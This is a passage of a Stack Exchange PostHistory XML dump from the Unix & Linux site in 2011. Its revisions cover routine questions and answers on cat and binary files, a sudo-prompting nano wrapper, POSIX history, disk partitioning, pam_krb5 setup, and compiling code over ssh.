&quot;$editor&quot; $readonlyflag &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29329" PostHistoryTypeId="2" PostId="12015" RevisionGUID="54f2dd3f-88cf-4446-b4b7-f36365ebb2e1" CreationDate="2011-04-26T01:31:34.493" UserId="6950" Text="I've been messing around with a virtualized version of natty on my iMac, and I'm a total n00b.  I'd just like to preface this question with that, just in case anyone is wondering.&#xD;&#xA;&#xD;&#xA;Let's say one creates a file like so:&#xD;&#xA;&#xD;&#xA;    touch myFile&#xD;&#xA;&#xD;&#xA;You enter some text in it with vim or whatever, and then use `cat myFile` to spit the contents out into the terminal.&#xD;&#xA;&#xD;&#xA;Now, what happens when I use cat on any image?  Say,&#xD;&#xA;&#xD;&#xA;    cat myPNG.png&#xD;&#xA;&#xD;&#xA;I just get a bunch of garbage.  It just made me think about what the `cat` command is attempting to do.  And where all of this &quot;garbage&quot; comes from.  Just curious.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="29330" PostHistoryTypeId="1" PostId="12015" RevisionGUID="54f2dd3f-88cf-4446-b4b7-f36365ebb2e1" CreationDate="2011-04-26T01:31:34.493" UserId="6950" Text="What is produced after using cat on an image?" />
  <row Id="29331" PostHistoryTypeId="3" PostId="12015" RevisionGUID="54f2dd3f-88cf-4446-b4b7-f36365ebb2e1" CreationDate="2011-04-26T01:31:34.493" UserId="6950" Text="élinuxàéfilesà" />
  <row Id="29332" PostHistoryTypeId="6" PostId="11970" RevisionGUID="f20b8f1c-1dc3-45da-9b19-9f96cfb92b2a" CreationDate="2011-04-26T01:33:47.083" UserId="29" Comment="homework" Text="éawkàéhomeworkà" />
  <row Id="29333" PostHistoryTypeId="5" PostId="12014" RevisionGUID="39d16919-3ff3-4576-9730-801c0c39ce33" CreationDate="2011-04-26T01:40:38.197" UserId="3169" Comment="added 310 characters in body" Text="I just tried `nano`, and what I found most surprising is it doesn't even warn you that the file is read-only when you start trying to edit the file.&#xD;&#xA;&#xD;&#xA;Here's a (basic) script that does that.&#xD;&#xA;&#xD;&#xA;It checks if you can edit the file, and if you can't, it runs &quot;nano&quot; as root instead.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/edit** (or **~/bin/edit**)&#xD;&#xA;&#xD;&#xA;    sudo=                       # empty is false, non-empty is true&#xD;&#xA;    editor=nano                 # XXX check $EDITOR and $VISUAL&#xD;&#xA;&#xD;&#xA;    if test ! -w &quot;$1&quot;; then&#xD;&#xA;        if test -t 0 &amp;&amp; test -t 2; then&#xD;&#xA;            printf &quot;%s is not writable.  Edit with sudo? [y/n] &quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            read -n 1&#xD;&#xA;            case $REPLY in&#xD;&#xA;            y|Y)&#xD;&#xA;                sudo=true&#xD;&#xA;                ;;&#xD;&#xA;            n|N)&#xD;&#xA;                sudo=&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                printf &quot;\nExpected y or n.  Exiting.\n&quot; 1&gt;&amp;2&#xD;&#xA;                exit 1&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        else&#xD;&#xA;            printf &quot;%s is not writable.  Fix the permissions or run \&quot;view\&quot; instead.&quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ${sudo:+sudo} &quot;$editor&quot; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;And a command I called `view` so that you can avoid the prompt if you know you aren't going to make any changes.&#xD;&#xA;&#xD;&#xA;There's already a program called `view` that's part of Vi/Vim, so feel free to suggest a better name.  &#xD;&#xA;(But I think a full implementation of this program would make Vi's `view` redundant.)&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/view** (or **~/bin/view**)&#xD;&#xA;&#xD;&#xA;    editor=nano&#xD;&#xA;    readonlyflag=-v&#xD;&#xA;&#xD;&#xA;    &quot;$editor&quot; $readonlyflag &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29334" PostHistoryTypeId="2" PostId="12016" RevisionGUID="9be493b0-5a3e-454a-bad6-402f77ad44ab" CreationDate="2011-04-26T01:43:10.177" UserId="5191" Text="Cat dumps the contents of the input file to standard output, which in this case is your terminal window in text mode.  Since an image consists of binary data, what you are seeing is the raw binary data interpreted as though it were ASCII text.  For example, a byte with the value 65 would be displayed as upper case A, 66 is upper case B, etc.  If you open the file with an application capable of interpreting the image file correctly, the binary contents of the file will be displayed as an image.&#xD;&#xA; " />
  <row Id="29335" PostHistoryTypeId="5" PostId="12014" RevisionGUID="a5bc745b-f00d-4c20-819a-df6cd7016048" CreationDate="2011-04-26T02:00:08.950" UserId="3169" Comment="add links to improved versions on github (too large to post here IMHO)" Text="I just tried `nano`, and what I found most surprising is it doesn't even warn you that the file is read-only when you start trying to edit the file.&#xD;&#xA;&#xD;&#xA;Here's a (basic) script that does that.&#xD;&#xA;&#xD;&#xA;It checks if you can edit the file, and if you can't, it runs &quot;nano&quot; as root instead.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/edit** (or **~/bin/edit**)&#xD;&#xA;&#xD;&#xA;    sudo=                       # empty is false, non-empty is true&#xD;&#xA;    editor=nano                 # XXX check $EDITOR and $VISUAL&#xD;&#xA;&#xD;&#xA;    if test ! -w &quot;$1&quot;; then&#xD;&#xA;        if test -t 0 &amp;&amp; test -t 2; then&#xD;&#xA;            printf &quot;%s is not writable.  Edit with sudo? [y/n] &quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            read -n 1&#xD;&#xA;            case $REPLY in&#xD;&#xA;            y|Y)&#xD;&#xA;                sudo=true&#xD;&#xA;                ;;&#xD;&#xA;            n|N)&#xD;&#xA;                sudo=&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                printf &quot;\nExpected y or n.  Exiting.\n&quot; 1&gt;&amp;2&#xD;&#xA;                exit 1&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        else&#xD;&#xA;            printf &quot;%s is not writable.  Fix the permissions or run \&quot;view\&quot; instead.&quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ${sudo:+sudo} &quot;$editor&quot; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;And a command I called `view` so that you can avoid the prompt if you know you aren't going to make any changes.&#xD;&#xA;&#xD;&#xA;There's already a program called `view` that's part of Vi/Vim, so feel free to suggest a better name.  &#xD;&#xA;(But I think a full implementation of this program would make Vi's `view` redundant.)&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/view** (or **~/bin/view**)&#xD;&#xA;&#xD;&#xA;    editor=nano&#xD;&#xA;    readonlyflag=-v&#xD;&#xA;&#xD;&#xA;    &quot;$editor&quot; $readonlyflag &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Full versions&#xD;&#xA;&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/edit&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/view" />
  <row Id="29336" PostHistoryTypeId="5" PostId="3258" RevisionGUID="ec3a0232-ee56-4b7a-a3e2-15e592b52bfa" CreationDate="2011-04-26T02:03:11.583" UserId="73" Comment="added 206 characters in body" Text="&lt;p&gt;&#xD;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xD;&#xA;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xD;&#xA;If your question is about:&#xD;&#xA;&#xD;&#xA;* Using or administering a *nix desktop or server&#xD;&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xD;&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xD;&#xA;* Shell scripting&#xD;&#xA;* Applications packaged in *nix distributions *(note: being [cross-platform does not disqualify](http://meta.unix.stackexchange.com/q/97/29))*&#xD;&#xA;* UNIX C API and System Interfaces *( [within reason](http://meta.unix.stackexchange.com/q/314/29) )*&#xD;&#xA;&#xD;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your question applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xD;&#xA;&#xD;&#xA;If your question is a programming question, requiring knowledge of programming languages other than unix shell scripting languages, ask on [Stack Overflow](http://stackoverflow.com/).&#xD;&#xA;&#xD;&#xA;&lt;a name=&quot;crosspost&quot;&gt;&lt;/a&gt;&#xD;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/64068/is-it-possible-to-post-questions-across-a-couple-of-the-sites-because-its-debata/64073#64073) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide.&#xD;&#xA;" />
  <row Id="29337" PostHistoryTypeId="5" PostId="12014" RevisionGUID="66a6bebf-2e2a-405c-814e-4a49465addcd" CreationDate="2011-04-26T02:17:13.217" UserId="3169" Comment="added 16 characters in body; edited body" Text="I just tried `nano`, and what I found most surprising is it doesn't even warn you that the file is read-only when you start trying to edit the file.&#xD;&#xA;&#xD;&#xA;Here's a (basic) script that does that.&#xD;&#xA;&#xD;&#xA;It checks if you can edit the file, and if you can't, it runs &quot;nano&quot; as root instead.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/edit** (or **~/bin/edit**)&#xD;&#xA;&#xD;&#xA;    sudo=                       # empty is false, non-empty is true&#xD;&#xA;    editor=nano                 # XXX check $EDITOR and $VISUAL&#xD;&#xA;&#xD;&#xA;    if test -e &quot;$1&quot; &amp;&amp; test ! -w &quot;$1&quot;; then&#xD;&#xA;        if test -t 0 &amp;&amp; test -t 2; then&#xD;&#xA;            printf &quot;%s is not writable.  Edit with sudo? [y/n] &quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            read -n 1&#xD;&#xA;            case $REPLY in&#xD;&#xA;            y|Y)&#xD;&#xA;                sudo=true&#xD;&#xA;                ;;&#xD;&#xA;            n|N)&#xD;&#xA;                sudo=&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                printf &quot;\nExpected y or n.  Exiting.\n&quot; 1&gt;&amp;2&#xD;&#xA;                exit 1&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        else&#xD;&#xA;            printf &quot;%s is not writable.  Fix the permissions or run \&quot;view\&quot; instead.&quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ${sudo:+sudo} &quot;$editor&quot; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;And a command I called `view` so that you can avoid the prompt if you know you aren't going to make any changes.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/view** (or **~/bin/view**)&#xD;&#xA;&#xD;&#xA;    editor=nano&#xD;&#xA;    readonlyflag=-v&#xD;&#xA;&#xD;&#xA;    &quot;$editor&quot; $readonlyflag &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;There's already a program called `view` that's part of Vi/Vim, so feel free to suggest a better name.  &#xD;&#xA;(But I think a full implementation of this program would make Vi's `view` redundant.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Full versions&#xD;&#xA;&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/edit&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/view" />
  <row Id="29338" PostHistoryTypeId="2" PostId="12017" RevisionGUID="6cdc4eb1-74ca-4dbe-8906-aea4239e3747" CreationDate="2011-04-26T02:54:50.583" UserId="3519" Text="If it is just the current directory, no need for `find`.&#xD;&#xA;&#xD;&#xA;Just try `file * .* | fgrep ASCII`" />
  <row Id="29339" PostHistoryTypeId="2" PostId="12018" RevisionGUID="576a9ca2-16c6-49cf-831c-939665d4520c" CreationDate="2011-04-26T02:58:24.213" UserId="3389" Text="It may be useful to explain how files work on the lowest level.&#xD;&#xA;&#xD;&#xA;A file is a stream of bytes, zero or more in length.  A byte is 8 bits.  Since there are 256 combinations of 8 bits, that means a byte is any number from 0 to 255.  So every file is, at its lowest level, a big hunk of numbers ranging from 0 to 255.&#xD;&#xA;&#xD;&#xA;It is completely up to programs and users to decide what the numbers &quot;mean.&quot;  If we want to store text, then it's probably a good idea to use the numbers as code, where each number is assigned a letter.  That's what ASCII and Unicode do.  If we want to display text, then it's probably a good idea to build a device or write a program that can take these numbers and display a bitmap looking like the the corresponding ASCII/Unicode code.  That's what terminals and terminal emulators do.&#xD;&#xA;&#xD;&#xA;Of course, for graphics, we probably want the numbers to represent pixels and their colors.  Then we'll need a program that goes through the file, reads all the bytes, and renders the picture accordingly.  A terminal emulator is expecting the bytes to be ASCII/Unicode numbers and is going to behave differently, for the same chunk of bytes (or file).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29340" PostHistoryTypeId="25" PostId="12015" RevisionGUID="3e3597ab-0e5e-410d-85b8-72b92b861d78" CreationDate="2011-04-26T03:09:10.800" Comment="http://twitter.com/#!/StackUnix/status/62714811611484161" />
  <row Id="29341" PostHistoryTypeId="5" PostId="11996" RevisionGUID="f454e2b7-34e1-40e9-9a9c-fe0e392d07f5" CreationDate="2011-04-26T04:36:19.983" UserId="6167" Comment="improved formatting" Text="POSIX first was a standard in 1988 long before the Single UNIX Specification.  It was one of the attempts at unifying all the various UNIX forks and UNIX-like systems.  POSIX is an IEEE Standard, but as the IEEE does not own the UNIX® trademark, the standard is not UNIX® though it is based on the existing UNIX API at that time.  The first standard POSIX.1 is formally know as IEEE std 1003.1-1988.[[1]]  IEEE charged a substantial fee to obtain a copy of the standard.&#xD;&#xA;&#xD;&#xA;The Open Group released the Single UNIX Specification (SUSv2) in 1997 based on IEEE's work of the POSIX standard.  SUSv3 was released in 2001 from a joint working group between IEEE and The Open Group known as the Austin Group.  SUSv3 is also known as POSIX:2001[[2]].  There is now also POSIX:2004 and POSIX:2008 which is the core of SUSv4.  As for what UNIX® is, UNIX® is whatever the current *registered* trademark holder says it is.  Since 1994, that is The Open Group.&#xD;&#xA;&#xD;&#xA;Novell acquired the UNIX® systems business from AT&amp;T/USL which is where UNIX® was born.  In 1994, they sold the right to the UNIX® trademark to X/Open[[3]] now know as The Open Group.  They then sold the UNIX® source code to SCO as UNIXWARE®.[[3]]  UNIX® itself has forked many times[[4]][[5]] partly due to AT&amp;T's licensing model.  Purchasing UNIX® gave you the complete source of the operating system and the full tool-chain to build it.  Modifications to the source can be distributed and used by anyone who owned a license to UNIX® from AT&amp;T.  The license fee was in the thousands.&#xD;&#xA;&#xD;&#xA;BSD was a project at Berkeley which added a number of enhancements to the UNIX® operating system.  BSD code was released under a much more liberal license than AT&amp;T's source and did not require a license fee or even a requirement to be distributed with source unlike the GPL that the GNU Project and Linux use.  This has cause a good part of the BSD code to be included with various commercial UNIX forks.  By around 4.3BSD, they had nearly replaced any need for the original AT&amp;T UNIX® source code.  FreeBSD/NetBSD/OpenBSD are all forks of 4.3BSD that are a complete operating system and have none of the original AT&amp;T source code.  Nor do they have right to the UNIX® trademark, but much of their code is used by commercial UNIX operating systems.  The Socket API used on UNIX was developed on BSD and the Unix Fast Filesystem code was borrowed and used on various UNIX Operating Systems like Solaris with their own enhancements.&#xD;&#xA;&#xD;&#xA;Linux was developed in 1991, but was developed from scratch unlike BSD and used the existing GNU Project which was a clean-room implementation of much of the UNIX user-space.  It implement much of POSIX for compatibility and is UNIX-like in design, but it does not have the close connection to AT&amp;T or UNIX® that the BSDs have.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/POSIX&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Single_UNIX_Specification&#xD;&#xA;[3]: http://www.unix.org/what_is_unix.html&#xD;&#xA;[4]: http://www.levenez.com/unix/&#xD;&#xA;[5]: http://www.bell-labs.com/history/unix/" />
  <row Id="29342" PostHistoryTypeId="2" PostId="12019" RevisionGUID="ae6f7059-99c6-448c-8941-ce8e37b756ca" CreationDate="2011-04-26T06:08:02.170" UserId="6953" Text="Hello all,&#xD;&#xA;&#xD;&#xA;Output of `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 640.1 GB, 640135028736 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 77825 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0x07f2837e&#xD;&#xA;&#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1          13      104391   de  Dell Utility&#xD;&#xA;    /dev/sda2   *          14        1926    15360000    7  HPFS/NTFS&#xD;&#xA;    /dev/sda3            1926       27578   206055449+   7  HPFS/NTFS&#xD;&#xA;    /dev/sda4           27579       77826   403610625    5  Extended&#xD;&#xA;    /dev/sda5           27579       52921   203561523+  83  Linux&#xD;&#xA;    /dev/sda6           59000       59972     7811072   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           59972       77826   143407104   83  Linux&#xD;&#xA;&#xD;&#xA;A few things to note:&#xD;&#xA;&#xD;&#xA;1) There's around 50GB of unallocated space betweed sda5 and sda6.&#xD;&#xA;&#xD;&#xA;2) sda5 is mounted at `/` on my Ubuntu install, and sda7 is mounted at `/home`.&#xD;&#xA;&#xD;&#xA;I want to install Fedora in the unallocated space by creating a 50GB ext4 partition. I would create only a single root partition in that space without modifying any partition around, and I'll take care of all the GRUB mess.&#xD;&#xA;&#xD;&#xA;My question is: Will creating an ext4 partition between sda5 and sda6 change the sdaX numbering of the swap and /home partitions? I guess yes. In any case, will it also change the UUID of any other partition? I'm asking this because I can see in my ubuntu fstab that the partitions are identified by their UUID. If I just create a partition in the unallocated space and install Fedora, will the UUIDs change of the surrounding drives so much that the drives won't auto-mount at Ubuntu startup?&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;Thanks!" />
  <row Id="29343" PostHistoryTypeId="1" PostId="12019" RevisionGUID="ae6f7059-99c6-448c-8941-ce8e37b756ca" CreationDate="2011-04-26T06:08:02.170" UserId="6953" Text="Creating a new partition in empty space between 2 existing ext4 partitions" />
  <row Id="29344" PostHistoryTypeId="3" PostId="12019" RevisionGUID="ae6f7059-99c6-448c-8941-ce8e37b756ca" CreationDate="2011-04-26T06:08:02.170" UserId="6953" Text="éfilesystemsàédualöbootàéhardödiskàéext4àéfstabà" />
  <row Id="29345" PostHistoryTypeId="25" PostId="11998" RevisionGUID="ed980613-ade3-4aa7-8f4a-8176b6a97c50" CreationDate="2011-04-26T06:09:10.937" Comment="http://twitter.com/#!/StackUnix/status/62760110937735168" />
  <row Id="29346" PostHistoryTypeId="2" PostId="12020" RevisionGUID="042d9db9-9f82-45b0-b25d-cbb982635642" CreationDate="2011-04-26T06:17:36.180" UserId="4843" Text="No. It will not change the partitioning number of said device. And you can create the new partition in between 5 and 6, and that partition will be sda8. UUID *will* remain same, as you are not modifying that partition." />
  <row Id="29347" PostHistoryTypeId="2" PostId="12021" RevisionGUID="7e442ad3-4cf9-4142-9d2c-74e73f582354" CreationDate="2011-04-26T06:19:11.920" UserId="2671" Text="I'm using `ksshaskpass` to add my password protected keys into `ssh-agent` upon logging into KDE, is there something similar for kerberos?" />
  <row Id="29348" PostHistoryTypeId="1" PostId="12021" RevisionGUID="7e442ad3-4cf9-4142-9d2c-74e73f582354" CreationDate="2011-04-26T06:19:11.920" UserId="2671" Text="Automatic kerberos ticket initialization on login" />
  <row Id="29349" PostHistoryTypeId="3" PostId="12021" RevisionGUID="7e442ad3-4cf9-4142-9d2c-74e73f582354" CreationDate="2011-04-26T06:19:11.920" UserId="2671" Text="ékdeàéloginàékerberosà" />
  <row Id="29351" PostHistoryTypeId="5" PostId="12010" RevisionGUID="c666ee7e-57a7-4d45-843b-719150e55177" CreationDate="2011-04-26T07:02:35.327" UserId="6944" Comment="Specified which packages were requested" Text="I know Debian is general purpose, so a Debian install could just as easily be a server as a desktop. It seems, however, that even with a DVD of disk1 from Debian, it is downloading a tremendous number of files from the network mirror. I would have thought a DVD would be enough to get a base desktop installation running. What am I missing here?  &#xD;&#xA;&#xD;&#xA;Let me clarify: I chose &quot;SSH Server&quot; and &quot;Desktop Environment&quot; in tasksel. Is GNOME not a part of the primary installation DVD?" />
  <row Id="29352" PostHistoryTypeId="6" PostId="12015" RevisionGUID="f0a5e522-9401-4b9a-9db6-c89b84526bbf" CreationDate="2011-04-26T07:18:35.693" UserId="885" Comment="edited tags" Text="éfilesàébinaryà" />
  <row Id="29353" PostHistoryTypeId="6" PostId="12019" RevisionGUID="d377efc5-19e9-4ce2-9392-e5485d695fc2" CreationDate="2011-04-26T07:19:26.193" UserId="885" Comment="edited tags" Text="élinuxàépartitionà" />
  <row Id="29354" PostHistoryTypeId="2" PostId="12022" RevisionGUID="b727fc41-1074-41de-97d9-bab28a65d300" CreationDate="2011-04-26T07:21:39.093" UserId="3169" Text="I would look into using [pam-krb5](http://www.eyrie.org/~eagle/software/pam-krb5/).&#xD;&#xA;&#xD;&#xA;On Debian and Ubuntu, it should be `apt-get install libpam-krb5`.&#xD;&#xA;&#xD;&#xA;The PAM configuration would look something like:&#xD;&#xA;&#xD;&#xA;    auth required pam_unix.so&#xD;&#xA;    auth optional pam_krb5.so try_first_pass&#xD;&#xA;&#xD;&#xA;in `/etc/pam.d/common-auth`.&#xD;&#xA;&#xD;&#xA;Note that this probably makes ksshaskpass redundant too, because you can also have:&#xD;&#xA;&#xD;&#xA;    auth required pam_unix.so&#xD;&#xA;    auth optional pam_ssh.so try_first_pass&#xD;&#xA;    auth optional pam_krb5.so try_first_pass&#xD;&#xA;    &#xD;&#xA;On Debian and Ubuntu, that requires installing [libpam-ssh](http://pam-ssh.sourceforge.net/)." />
  <row Id="29355" PostHistoryTypeId="5" PostId="11872" RevisionGUID="1aaaa426-7d49-4df7-bf08-23c2fc4fbf80" CreationDate="2011-04-26T07:24:04.740" UserId="1925" Comment="added 4 characters in body" Text="No, you can't give a running program permissions that it doesn't have when it starts, that would be the security hole known as 'privilege escalation'.&#xD;&#xA;&#xD;&#xA;Two things you can do:&#xD;&#xA;&#xD;&#xA;1. Save to a temporary file in /tmp or wherever, close the editor, then dump the contents of temp file into the file you were editing. `sudo cp $TMPFILE $FILE`. Note that it is not recomended to use `mv` for this because of the change in file ownership and permissions it is likely to cause, you just want to replace the file content not the file placeholder itself. &#xD;&#xA;1. Background the editor with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;, change the file ownership or permissions so you can write to it, then use `fg` to get back to the editor and save. Don't forget to fix the permissions!&#xD;&#xA;&#xD;&#xA;**Edit:** See [this related question][1] for other solutions in advanced editors that allow writing the file buffer to a process pipe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11004/becoming-root-from-inside-vim" />
  <row Id="29356" PostHistoryTypeId="5" PostId="12022" RevisionGUID="94f8c09c-1157-42c8-a422-6b072b461ec7" CreationDate="2011-04-26T07:27:29.123" UserId="3169" Comment="added 637 characters in body" Text="I would look into using [pam-krb5](http://www.eyrie.org/~eagle/software/pam-krb5/).&#xD;&#xA;&#xD;&#xA;On Debian and Ubuntu, it should be `apt-get install libpam-krb5`.&#xD;&#xA;&#xD;&#xA;The PAM configuration would look something like:&#xD;&#xA;&#xD;&#xA;    auth required pam_unix.so&#xD;&#xA;    auth optional pam_krb5.so try_first_pass&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    auth required pam_unix.so&#xD;&#xA;    auth optional pam_krb5.so use_first_pass   &#xD;&#xA;&#xD;&#xA;in `/etc/pam.d/common-auth`.&#xD;&#xA;&#xD;&#xA;It takes the password you used to authenticate locally, e.g. the password in `/etc/shadow`, and then tries to use the same one as your Kerberos password.&#xD;&#xA;&#xD;&#xA;If your Kerberos password is the same as your system password, you don't need to type it again.&#xD;&#xA;&#xD;&#xA;If your Kerberos password is different from your system password, what happens depends on whether you used `try_first_pass` or `use_first_pass`:&#xD;&#xA;&#xD;&#xA; - `try_first_pass` will ask you for your Kerberos password&#xD;&#xA; - `use_first_pass` won't ask you, but you'll have to run `kinit` yourself later&#xD;&#xA;&#xD;&#xA;Note that this probably makes ksshaskpass redundant too, because you can also have:&#xD;&#xA;&#xD;&#xA;    auth required pam_unix.so&#xD;&#xA;    auth optional pam_ssh.so try_first_pass&#xD;&#xA;    auth optional pam_krb5.so try_first_pass&#xD;&#xA;    &#xD;&#xA;On Debian and Ubuntu, that requires installing [libpam-ssh](http://pam-ssh.sourceforge.net/)." />
  <row Id="29357" PostHistoryTypeId="5" PostId="5691" RevisionGUID="ff5e633d-fbbc-4c3b-ba72-eec79ac10492" CreationDate="2011-04-26T07:36:23.593" UserId="1170" Comment="edited body" Text="Here is a solution, inspired by the previous answers:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;&#xD;&#xA;breakdown:&#xD;&#xA;&#xD;&#xA;1. `declare` prints every defined variable (exported or not) and function.&#xD;&#xA;1. `declare -f` prints only functions.&#xD;&#xA;1. `comm -3` will remove all lines common to both. In effect this will remove the functions, leaving only the variables.&#xD;&#xA;&#xD;&#xA;To only print variables which are not exported:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(comm -3 &lt;(declare | sort) &lt;(declare -f | sort)) &lt;(env | sort)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Another solution:&#xD;&#xA;&#xD;&#xA;    $ declare -p&#xD;&#xA;&#xD;&#xA;This will only print the variables, but with some ugly attributes.&#xD;&#xA;&#xD;&#xA;    declare -- BASH=&quot;/bin/bash&quot;&#xD;&#xA;    declare -ir BASHPID=&quot;&quot;&#xD;&#xA;    declare -A BASH_ALIASES='()'&#xD;&#xA;    declare -a BASH_ARGC='()'&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can cut the attributes away using... cut:&#xD;&#xA;&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;&#xD;&#xA;The output is usable. One downside is that the value of IFS is interpreted instead of displayed raw.&#xD;&#xA;&#xD;&#xA;compare:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;    ...&#xD;&#xA;    IFS=$' \t\n'&#xD;&#xA;    ...&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;    ...&#xD;&#xA;    IFS=&quot;&#xD;&#xA;    &quot;&#xD;&#xA;    ...&#xD;&#xA;" />
  <row Id="29358" PostHistoryTypeId="5" PostId="11961" RevisionGUID="30290002-b524-4633-b7e2-6887e696fa50" CreationDate="2011-04-26T07:46:48.333" UserId="1170" Comment="added 391 characters in body" Text="The real solution to this problem is to talk to your instructor to give you separate accounts, or to change the assignments to be group assignments. If he/she can't or won't do that then I would just ignore any plagiarizing attempts from other students. You don't lose anything when they copy your work, they lose.&#xD;&#xA;&#xD;&#xA;That said, here is a way to keep your source code virtually inaccessible for anyone else.&#xD;&#xA;&#xD;&#xA;    you@local$ ssh shared@cluster &quot;gcc -x c -o yourdir/secret -&quot; &lt; source.c&#xD;&#xA;&#xD;&#xA;Note the dash at the end of the gcc command. That means gcc will read the source from stdin. This will compile `source.c` from your local machine to `yourdir/secret` on the cluster. The secret source code will never exist as a &quot;real&quot; file on the cluster. It will only exist as a stream in some buffer (in the sshd process, I assume).&#xD;&#xA;&#xD;&#xA;If your code is not written in C then your will have to change the `c` in the `-x c` option. See [here](http://gcc.gnu.org/onlinedocs/gcc/Overall-Options.html) for more information about that.&#xD;&#xA;&#xD;&#xA;Other students can still grab your compiled file and decompile that. To minimize even that risk you can delete the file right after compiling and executing.&#xD;&#xA;&#xD;&#xA;    you@local$ ssh shared@cluster &quot;gcc -x c -o yourdir/secret - &amp;&amp; yourdir/secret ; rm yourdir/secret&quot; &lt; source.c&#xD;&#xA;&#xD;&#xA;If you are really paranoid you should make sure that you are executing the real gcc. Other students might write a wrapper around gcc, which saves the source code before compiling it, and place that wrapper in your path. You should also execute the real rm.&#xD;&#xA;&#xD;&#xA;    you@local$ ssh shared@cluster &quot;/usr/bin/gcc -x c -o yourdir/secret - &amp;&amp; yourdir/secret ; /bin/rm yourdir/secret&quot; &lt; source.c&#xD;&#xA;" />
  <row Id="29359" PostHistoryTypeId="2" PostId="12023" RevisionGUID="62e73207-80bd-49b3-a7ef-589e24832627" CreationDate="2011-04-26T07:47:15.837" UserId="4949" Text="Because the full debian distribution for even a single architecture now well exceeds seven DVDs, and the packages on each DVD are sorted by popularity, not by common theme. &#xD;&#xA;&#xD;&#xA;Every single installation manual strongly recommends installing from a minimal CD or USB image (100 MB or less, generally) and installing over the internet, or a local apt proxy if you have multiple systems to set up." />
